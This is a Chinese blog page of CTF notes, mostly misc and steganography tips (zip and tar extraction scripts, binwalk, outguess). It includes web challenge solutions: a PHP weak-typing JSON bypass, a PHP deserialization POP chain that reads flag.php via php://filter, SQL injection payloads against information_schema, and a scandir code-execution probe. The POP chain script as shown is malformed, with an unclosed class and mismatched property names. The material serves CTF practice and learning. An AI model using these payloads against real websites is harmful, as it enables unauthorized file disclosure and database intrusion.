Misc思路


大佬文章

nepctf-签到题

后缀改zip,分离出图片,继续解压
用脚本解压

import zipfile
a="" 
for i in range(232,2,-1):
    a=str(i)+".zip" 
    print(a) 
    # 打开压缩包并解压
    with zipfile.ZipFile(a) as zf:
        zf.extractall() 

解压后得到一个pcap,需要把USB导出来
usb.src == "1.51.1"

DDCTF2018第四扩展FS

分离出个压缩包,然后图片属性有密码,进行词频分析

zip伪加密

在这里插入图片描述

[INSHack2018]42.tar.xz

while [ "`find . -type f -name '*.tar.xz' | wc -l`" -gt 0 ]; do find -type f -name "*.tar.xz" -exec tar xf '{}' \; -exec rm -- '{}' \;; done;

strings flag

*CTF2019]otaku

docx隐藏文字
看压缩包猜测明文攻击
转GBK编码看CRC

f = open("C:/Users/lenovo/Desktop/1.txt", "w")
s="Hello everyone, I am Gilbert. Everyone thought that I was killed, but actually I survived. Now that I have no cash with me and I’m trapped in another country. I can't contact Violet now. She must be desperate to see me and I don't want her to cry for me. I need to pay 300 for the train, and 88 for the meal. Cash or battlenet point are both accepted. I don't play the Hearthstone, and I don't even know what is Rastakhan's Rumble."
f.write(s)
f.close()

明文攻击 zsteg

[BSidesSF2019]zippy

MISC5 分离pcap 有个加密文件 密码要最终tcp

BMZCTF CRC32 BOOM!

文章

冬奥会

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> array(0) { }
  • is_numeric()判断是否为数字或数字字符串
  • 有两个数组,那我们要创建个类把他们都封装进去
  • 最下面需要Step1和Step2都为True,那我们开始绕过
  • 在第一个变量$year中,首先需要传入进去的不是数字或数字字符串,而在下面的三元运算符,涉及到了比较。因为变量都是弱类型,所以只要涉及到变量之间的比较,就有可能触发这个漏洞,所以我们可以传入2022a
    php弱类型比较再回顾一下
<?php
if("admin"==0) //true
if("1admin"==1)//true
if("admin1"==1)//false
if("0e12324"=="0e1324")//true

  • !(is_array($info["items"][1])OR count($info["items"])!==3)需要让里面为false,又是or连接,所以两边都为false。第一个语句就是items数组第二个为array(0)

这里我有个小疑问,为什么传入是array(0),不是0?
做个测试

<?php
$items=array(0,array(0),0);
if(!is_array($items[1])) die("Sorry~");
else
    die("yes");
?>

很明显不是0.继续看题,注意前面有个is_array,也就是数组的意思。这下明白了

  • count 统计数组所有元素的数量,所以items应该是数组,且里面有三个变量
  • array_search 在数组中搜索给定的值,如果成功则返回首个相应的键名
  • 在第四个soory绕过中,我们发现不可以$val==="skiing",所以需要代替,这里学到,0是可以代替skiing
  • json_decode — 对 JSON 格式的字符串进行解码.所以最后我们要对类进行解码

所以最后构造payload

<?php
class a{
    public $year="2022a";
    public $items=array(0,array(0),0);
}
$aaa=new a();
$z=json_encode($aaa);
echo $z;

最后get传参

?Information=$z

Pop2022

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }

仍然是先找链子的头和尾,头部依然是一个GET传参,而在Try_Work_Hard类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Try_Work_Hard类中的__invoke()调用了append(),然后在Make_a_Change类中的__get()返回的是$function(),可以调用__invoke(),再往前Road_is_Long类中的__toString()可以调用__get(),然后在Road_is_Long类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了
一篇类似图片
在这里插入图片描述
头 -> Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append -> 尾
构造payload

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
 $a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
//因为__invoke直接调用append,所以对append不进行改变
$a->source=$b;
$b->str=$c;
$c->p=$d;
echo urlencode(serialize($a));
?>
?wish=上面的序列化

Easy-SQL

  • 记录一些函数
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)
    COUNT(*):统计表中元组的个数
    COUNT([DISTINCT] <列名>):统计本列的列值个数,DISTINCT表示去掉重复值后再统计
    SUM(<列名>):计算列值的和值(必须是数值类型)
    AVG(<列名>):计算列值的平均值(必须是数值类型)
    MAX(<列名>):得到列的最大值
    MIN(<列名>):得到列的最小值

  • limit含义
    在这里插入图片描述

在这里插入图片描述
开始进行测试
但是当我们使用联合查询时,发现select被ban了

用这个语句进行测试,得到数据库security

?id=-1 union values row(1,database(),3)

我们需要直到security在第几个

1' and ('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 1,1)

cale.php?%20num=var_dump(scandir(chr(47)))

编码

被劫持的神秘礼物

(binwalk+账号密码MD5)

gakki 字频统计

(binwalk+四位数爆破+字频统计)

outguess

(binwalk 看010 outguess)/[WUSTCTF2020]alison_likes_jojo(binwalk,6位数爆破 base64 outguess)’

[MRCTF2020]Hello_ misc

(图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)

singledog

(binwalk 颜文字加密)

[MRCTF2020]Hello_ misc

(图片隐写,图片分离,数字转八进制,前两位提取转十进制转二进制,压缩包改docx,base64解码,01填充)

蜘蛛侠呀

[WUSTCTF2020]spaceclub(01转换)

派大星的烦恼(editor有“D 01倒换)

[MRCTF2020]pyFlag(三部分组成zip,暴力破解,IDLEbase解密)

Business Planning Group(打开图片010,看图片结尾搜索IEND,看到bpg文件,打开即可转base64)

[GUET-CTF2019]soul sipse(steghide+修改文件头+解码)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值